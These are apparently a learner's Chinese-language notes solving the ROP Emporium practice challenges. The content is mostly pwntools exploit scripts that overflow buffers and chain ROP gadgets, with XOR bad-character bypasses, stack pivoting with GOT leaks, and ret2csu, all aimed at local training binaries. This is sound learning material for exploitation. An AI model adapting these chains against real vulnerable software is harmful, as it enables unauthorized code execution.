最近在学习ROP,发现ROP Emporium这个网站上题目挺好,就一直在做,我这里用到查gadget的工具是ROPgadget,其他工具也是可以的。因为是直接从笔记上粘贴的,所以没有排版啥的,。。
简单的覆盖返回地址跳转到后门函数
#coding="utf-8"
from pwn import *
sh=process("./ret2win32")
payload="a"*0x28+"a"*4+"\x59\x86\x04\x08"
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
和32位一样,覆盖返回地址跳转到后门函数
from pwn import *
sh=process("./ret2win")
payload="a"*0x20+"a"*8+p64(0x0400811)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
程序的system中不是/bin/sh,通过查找字符串发现在数据段,将参数数据段参数传递给system就ok了
from pwn import *
sh=process("./split32")
payload="a"*0x28+"a"*4+p32(0x08048657)+p32(0x0804a030)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
64位和32位有点不一样,在传参方面64位前几个参数是放在rdi,rsi,rdx,rcx,r8,r9中,所以需要将参数放到rdi中才可以调用成功
#coding="utf-8"
from pwn import *
sh=process("./split")
system_addr=0x0400810
rdi_addr=0x0400883
flag_addr=0x0601060
payload='a'*0x20+'a'*0x8+p64(rdi_addr)+p64(flag_addr)+p64(system_addr)
#当程序ret时,进入rdi_addr,然后rdi再ret到system_addr每一次esp指向都不一样
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
程序中没有system和/bin/sh,给了一个.so文件,用IDA查看发现程序通过callme_one函数将flag文件导入,通过callme_two和callme_three函数将flag解密输出,这三个函数还需要在0x1,0x2,0x3这三个参数,由于.so文件相当于在调用动态链接库,没有办法esp自减,所以我们利用程序中的gadget来平衡一下栈
#coding="utf-8"
from pwn import *
sh=process("./callme32")
callme_one_addr=0x080485c0
callme_two_addr=0x08048620
callme_three_addr=0x080485b0
gadget_addr=0x080488a9
payload="a"*0x28+"a"*4
payload+=p32(callme_one_addr)+p32(gadget_addr)+p32(0x1)+p32(0x2)+p32(0x3)
payload+=p32(callme_two_addr)+p32(gadget_addr)+p32(0x1)+p32(0x2)+p32(0x3)
payload+=p32(callme_three_addr)+p32(gadget_addr)+p32(0x1)+p32(0x2)+p32(0x3)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
和32基本一样,注意传参问题就好
#coding="utf-8"
from pwn import *
sh=process("./callme")
gadget_addr=0x0401ab0
callme_one_addr=0x0401850
callme_two_addr=0x0401870
callme_three_addr=0x0401810
payload="a"*0x20+"a"*0x8
payload+=p64(gadget_addr)+p64(0x1)+p64(0x2)+p64(0x3)+p64(callme_one_addr)
payload+=p64(gadget_addr)+p64(0x1)+p64(0x2)+p64(0x3)+p64(callme_two_addr)
payload+=p64(gadget_addr)+p64(0x1)+p64(0x2)+p64(0x3)+p64(callme_three_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
程序中只有system函数,没有我们需要的/bin/sh,需要我们自己构造,但是我们要向将自己构造的写入到程序,就要知道程序bss段或者data段是否可写,以及他们的空间是否足够。另外需要注意的是,我们这里是 32 位程序,每次只能写入 4 个字节,所以要分成两次写入,还得注意字符对齐,有没有截断字符( \x00 , \x0a 等)之类的问
题,比如这里 /bin/sh 只有七个字节,我们可以使用 /bin/sh\x00 或者/bin//sh
#coding="uft-8"
from pwn import *
sh=process("./write432")
system_addr=0x0804865a #system_plt_addr=0x08048430
pop_pop_addr=0x080486da
mov_addr=0x08048670
data_addr=0x0804a028
payload="a"*0x28+"a"*4
payload+=p32(pop_pop_addr)+p32(data_addr)+"/bin"+p32(mov_addr)
payload+=p32(pop_pop_addr)+p32(data_addr+4)+"//sh"+p32(mov_addr)
#payload+=p32(pop_pop_addr)+p32(data_addr+4)+"/sh\x00"+p32(mov_addr)
payload+=p32(system_addr)+p32(data_addr) #p32(system_plt_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
64位一次写入就好了
#coding="utf-8"
from pwn import *
sh=process("./write4")
system_plt_addr=0x04005e0
data_addr=0x0601050
mov_ret_addr=0x0400820
pop_pop_addr=0x0400890
pop_rdi_addr=0x0400893
payload="a"*0x20+"a"*0x8
payload+=p64(pop_pop_addr)+p64(data_addr)+"/bin/sh\x00"+p64(mov_ret_addr)
payload+=p64(pop_rdi_addr)+p64(data_addr)+p64(system_plt_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
我们依然要将 /bin/sh 写入到进程内存中,但这一次程序在读取,输入时会对敏感字符进行检查。处理敏感字符在利用开发中是经常要用到的,不仅仅是要对参数进行编码,有时甚至地址也要如此。这里我们使用简单的异或操作来对字符串编码和解码。
#coding="utf-8"
from pwn import *
sh=process("./badchars32")
pop_ebx_ecx_addr=0x08048896
pop_esi_edi_addr=0x08048899
mov_edi_esi_addr=0x08048893
xor_addr=0x08048890
system_plt_addr=0x080484e0
bss_addr=0x0804a040
#encode
binsh=""
xor_byte=0x2
for i in "/bin/sh\x00":
c=ord(i) ^ xor_byte
binsh+=chr(c)
#write
payload="a"*44
payload+=p32(pop_esi_edi_addr)+binsh[0:4]+p32(bss_addr)+p32(mov_edi_esi_addr)
payload+=p32(pop_esi_edi_addr)+binsh[4:8]+p32(bss_addr+4)+p32(mov_edi_esi_addr)
#code
for i in range(len(binsh)):
payload+=p32(pop_ebx_ecx_addr)
payload+=p32(bss_addr+i)
payload+=p32(xor_byte)
payload+=p32(xor_addr)
payload+=p32(system_plt_addr)+"a"*0x4+p32(bss_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
和32位一样,就是这次可以一次传参了,需要注意的就是传参问题
#coding="utf-8"
from pwn import *
sh=process("./badchars")
elf=ELF('./badchars')
system_plt_addr=0x004006f0
bss_addr=0x0000000000601080 //本来想用data段的,但是不知道为什么data段地址就是不对,服服服。。。
mov_r13_r12_addr=0x0400b34
pop_r12_r13_addr=0x0400b3b
pop_r14_r15_addr=0x0400b40
xor_r15_r14_addr=0x0400b30
pop_rdi_addr=0x0400b39
xor_byte=0x1
badchars=[0x62,0x69,0x63,0x2f,0x20,0x66,0x6e,0x73]
while(1):
binsh=""
for i in "/bin/sh\x00":
c=ord(i) ^ xor_byte
if c in badchars:
xor_byte+=1
break
else:
binsh+=chr(c)
if len(binsh)==8:
break
payload="a"*0x20+"a"*0x8
payload+=p64(pop_r12_r13_addr)+binsh+p64(bss_addr)+p64(mov_r13_r12_addr)
for i in range(len(binsh)):
payload+=p64(pop_r14_r15_addr)
payload+=p64(xor_byte)
payload+=p64(bss_addr+i)
payload+=p64(xor_r15_r14_addr)
payload+=p64(pop_rdi_addr)+p64(bss_addr)+p64(system_plt_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
和前面的一样但是程序这次的gadget确实有点难利用。
#coding="utf-8"
from pwn import *
sh=process("./fluff32")
system_plt_addr=0x08048430
bss_addr=0x0804a040
mov_edx_addr=0x0804868c
pop_ebx_addr=0x080483e1
xor_edx_ebx=0x0804867b
xchg_edx_ecx=0x08048689
mov_ecx_edx=0x08048693
payload="a"*44
#addr->ecx ##先将程序通过异或来放到edx中,然后在解密放到ecx中
payload+=p32(mov_edx_addr)
payload+=p32(pop_ebx_addr)
payload+=p32(bss_addr)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+=p32(0xdefaced0)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(xchg_edx_ecx)
payload+=p32(0)
#data->edx #先将程序通过异或来放到edx中,然后再把edx中的解密
payload+=p32(pop_ebx_addr)
payload+="/bin"
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+=p32(0xdefaced0)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(mov_ecx_edx)
payload+=p32(0)
payload+=p32(0)
#addr->ecx #和上面一样,32位需要俩次才能把参数传完
payload+=p32(mov_edx_addr)
payload+=p32(pop_ebx_addr)
payload+=p32(bss_addr+4)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+=p32(0xdefaced0)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(xchg_edx_ecx)
payload+=p32(0)
#data->edx
payload+=p32(pop_ebx_addr)
payload+="/sh\x00"
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+=p32(0xdefaced0)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(mov_ecx_edx)
payload+=p32(0)
payload+=p32(0)
payload+=p32(system_plt_addr)+p32(0)+p32(bss_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
感觉自己写的好麻烦,还需要异或俩次才可以,后来看了别人的wp发现,直接xor edx,edx 就不用第二次异或了
#coding="utf-8"
from pwn import *
sh=process("./fluff32")
#elf=ELF("./fluff32") #换成这样也可以
system_plt_addr=0x08048430 # system_plt_addr=elf.plt['system']
bss_addr=0x0804a040 # bss_addr=elf.bss()
pop_ebx_addr=0x080483e1
xor_edx_ebx=0x0804867b
xchg_edx_ecx=0x08048689
mov_ecx_edx=0x08048693
xor_edx_edx=0x08048671
payload="a"*44
#addr->ecx
payload+=p32(xor_edx_edx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+=p32(bss_addr)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(xchg_edx_ecx)
payload+=p32(0)
#data->edx
payload+=p32(xor_edx_edx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+="/bin"
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(mov_ecx_edx)
payload+=p32(0)
payload+=p32(0)
#addr->ecx
payload+=p32(xor_edx_edx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+=p32(bss_addr+4)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(xchg_edx_ecx)
payload+=p32(0)
#data->edx
payload+=p32(xor_edx_edx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+="/sh\x00"
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(mov_ecx_edx)
payload+=p32(0)
payload+=p32(0)
payload+=p32(system_plt_addr)+p32(0)+p32(bss_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
用老方法查看gadget没找到合适的。。。 然后wp上说要加上 --depth ,加上以后就找到了 _
#coding="uft-8"
from pwn import *
sh=process("./fluff")
elf=ELF("./fluff")
system_plt_addr=elf.plt['system']
bss_addr=elf.bss()
xor_r11_r11_addr=0x0000000000400822
pop_r12_addr=0x0000000000400832
xor_r11_r12_addr=0x000000000040082f
xchg_r11_r10_addr=0x0000000000400840
mov_r10_r11_addr=0x000000000040084e
pop_rdi_addr=0x00000000004008c3
#addr->r10
payload="a"*0x20+"a"*0x8
payload+=p64(xor_r11_r11_addr)
payload+=p64(0)
payload+=p64(pop_r12_addr)
payload+=p64(bss_addr)
payload+=p64(xor_r11_r12_addr)
payload+=p64(0)
payload+=p64(xchg_r11_r10_addr)
payload+=p64(0)
#data->r11
payload+=p64(xor_r11_r11_addr)
payload+=p64(0)
payload+=p64(pop_r12_addr)
payload+="/bin/sh\x00"
payload+=p64(xor_r11_r12_addr)
payload+=p64(0)
payload+=p64(mov_r10_r11_addr)
payload+=p64(0)
payload+=p64(0)
payload+=p64(pop_rdi_addr)+p64(bss_addr)+p64(system_plt_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
判断异或数是多少可以绕过。
binsh = '/bin/sh\x00'
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
xornum = 1
while 1:
for x in binsh:
tmp = ord(x) ^ xornum
if tmp in badchar:
xornum += 1
break
if x == "\x00":
print (xornum)
xornum +=1
if xornum == 10:
break
感觉难度突然增加,有点绝望,果然pwn还是很难,这题呢主要考察俩个点,一个是栈的迁移,一个是泄露目标函数的地址,这里我用了俩种方法写,大同小异而已
from pwn import *
context.log_level='debug'
sh=process("./pivot32")
elf=ELF("./pivot32")
libc_elf=ELF("./libpivot32.so")
foothold_function_plt_addr=elf.plt['foothold_function']
foothold_function_got_addr=elf.got['foothold_function']
foothold_function_sym=libc_elf.symbols['foothold_function']
ret2win_sym=libc_elf.symbols['ret2win']
offset=int(ret2win_sym-foothold_function_sym)
leave_ret=0x080486a8
mov_eax_eax_addr=0x080488c4
pop_eax_addr=0x080488c0
pop_ebx_addr=0x08048571
add_eax_ebx_addr=0x080488c7
call_eax=0x080486a3
sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
fake_ebp=int(sh.recv(10),16)
payload1=p32(0)
payload1+=p32(foothold_function_plt_addr)
payload1+=p32(pop_eax_addr)
payload1+=p32(foothold_function_got_addr)
payload1+=p32(mov_eax_eax_addr)
payload1+=p32(pop_ebx_addr)
payload1+=p32(offset)
payload1+=p32(add_eax_ebx_addr)
payload1+=p32(call_eax)
sh.recvuntil(">")
sh.sendline(payload1)
payload2="a"*40
payload2+=p32(fake_ebp)
payload2+=p32(leave_ret)
sh.recvuntil(">")
sh.sendline(payload2)
sh.interactive()
第二种方法就是将esp部分也用gadget表示,不用再向第一种一样伪造一个堆栈了,也就是说不用管ebp的值了
from pwn import *
context.log_level='debug'
sh=process("./pivot32")
elf=ELF("./pivot32")
libc_elf=ELF("./libpivot32.so")
foothold_function_plt_addr=elf.plt['foothold_function']
foothold_function_got_addr=elf.got['foothold_function']
foothold_function_sym=libc_elf.symbols['foothold_function']
ret2win_sym=libc_elf.symbols['ret2win']
offset=int(ret2win_sym-foothold_function_sym)
mov_eax_eax_addr=0x080488c4
pop_eax_addr=0x080488c0
pop_ebx_addr=0x08048571
add_eax_ebx_addr=0x080488c7
call_eax=0x080486a3
pop_eax=0x080488c0
xchg_eax_esp=0x080488c2
sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
fake_ebp=int(sh.recv(10),16)
payload1=p32(foothold_function_plt_addr)
payload1+=p32(pop_eax_addr)
payload1+=p32(foothold_function_got_addr)
payload1+=p32(mov_eax_eax_addr)
payload1+=p32(pop_ebx_addr)
payload1+=p32(offset)
payload1+=p32(add_eax_ebx_addr)
payload1+=p32(call_eax)
sh.recvuntil(">")
sh.sendline(payload1)
payload2="a"*40+"a"*4
payload2+=p32(pop_eax)
payload2+=p32(fake_ebp)
payload2+=p32(xchg_eax_esp)
sh.recvuntil(">")
sh.sendline(payload2)
sh.interactive()
这个题和32位的第二种方法一样,本来想用第一种方法的,但是在搜索leave;ret 的gadget时发现都存在0a
截断,需要将0a
变为其他字符,最后再用寄存器变成0a
,程序第二次输入被限制了,我找了几个gadget发现输入都不够。还是自己太菜了 呜呜呜~~~~
#coding='utf-8'
from pwn import *
context.log_level='debug'
sh=process("./pivot")
elf=ELF("./pivot")
lib_elf=ELF("./libpivot.so")
fun_plt_addr=elf.plt['foothold_function']
fun_got_addr=elf.got['foothold_function']
fun_sym=lib_elf.symbols['foothold_function']
ret2win_sym=lib_elf.symbols['ret2win']
offset=int(ret2win_sym-fun_sym)
sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
heap_addr=int(sh.recv(14),16)
mov_rax_rax=0x0000000000400b05
pop_rax=0x0000000000400b00
xchg_rax_rsp=0x0000000000400b02
call_rax=0x000000000040098e
add_rax_rbp=0x0000000000400b09
pop_rbp=0x0000000000400900
payload1=p64(fun_plt_addr)+p64(pop_rax)+p64(fun_got_addr)
payload1+=p64(mov_rax_rax)+p64(pop_rbp)+p64(offset)+p64(add_rax_rbp)
payload1+=p64(call_rax)
payload2='b'*40+p64(pop_rax)+p64(heap_addr)+p64(xchg_rax_rsp)
sh.recvuntil(">")
sh.sendline(payload1)
sh.recvuntil(">")
sh.sendline(payload2)
sh.interactive()
最后一题果然有难度啊,学到这里说明你已经将初级ROP学完了,这道题看似特别简单,只要找一个rdx的gadget将程序规定的参数传进去就好了,但是你会发现rdx的gadget找不到。程序在运行时,都会调用libc,__libc_csu_init
这个函数时一个初始化函数,看一下他的反汇编发现,我们可以调用他的某些gadget来给rdx赋值。但是我们在调用的时候需要call一个函数,一开始我想要call ret2win,但是因为我们需要ret2win的指针所以没有成功。我们需要一个不改变任何寄存器的值,或者不改变rdx的值的函数,文章中说_init这个函数不会改变rdx的值,所以就用它了。
#coding='utf-8'
from pwn import *
sh=process('./ret2csu')
#elf=ELF('./ret2csu')
#context.log_level='debug'
ret2win=0x00000000004007b1
gadget_one=0x000000000040089a
gadget_two=0x0000000000400880
init_por=0x600e38
rdx=0xdeadcafebabebeef
payload='a'*0x20+'a'*8
payload+=p64(gadget_one)
payload+=p64(0)
payload+=p64(0x01)
payload+=p64(init_por)
payload+=p64(0)
payload+=p64(0)
payload+=p64(rdx)
payload+=p64(gadget_two)
payload+='a'*56
payload+=p64(ret2win)
sh.recvuntil('>')
sh.send(payload)
sh.interactive()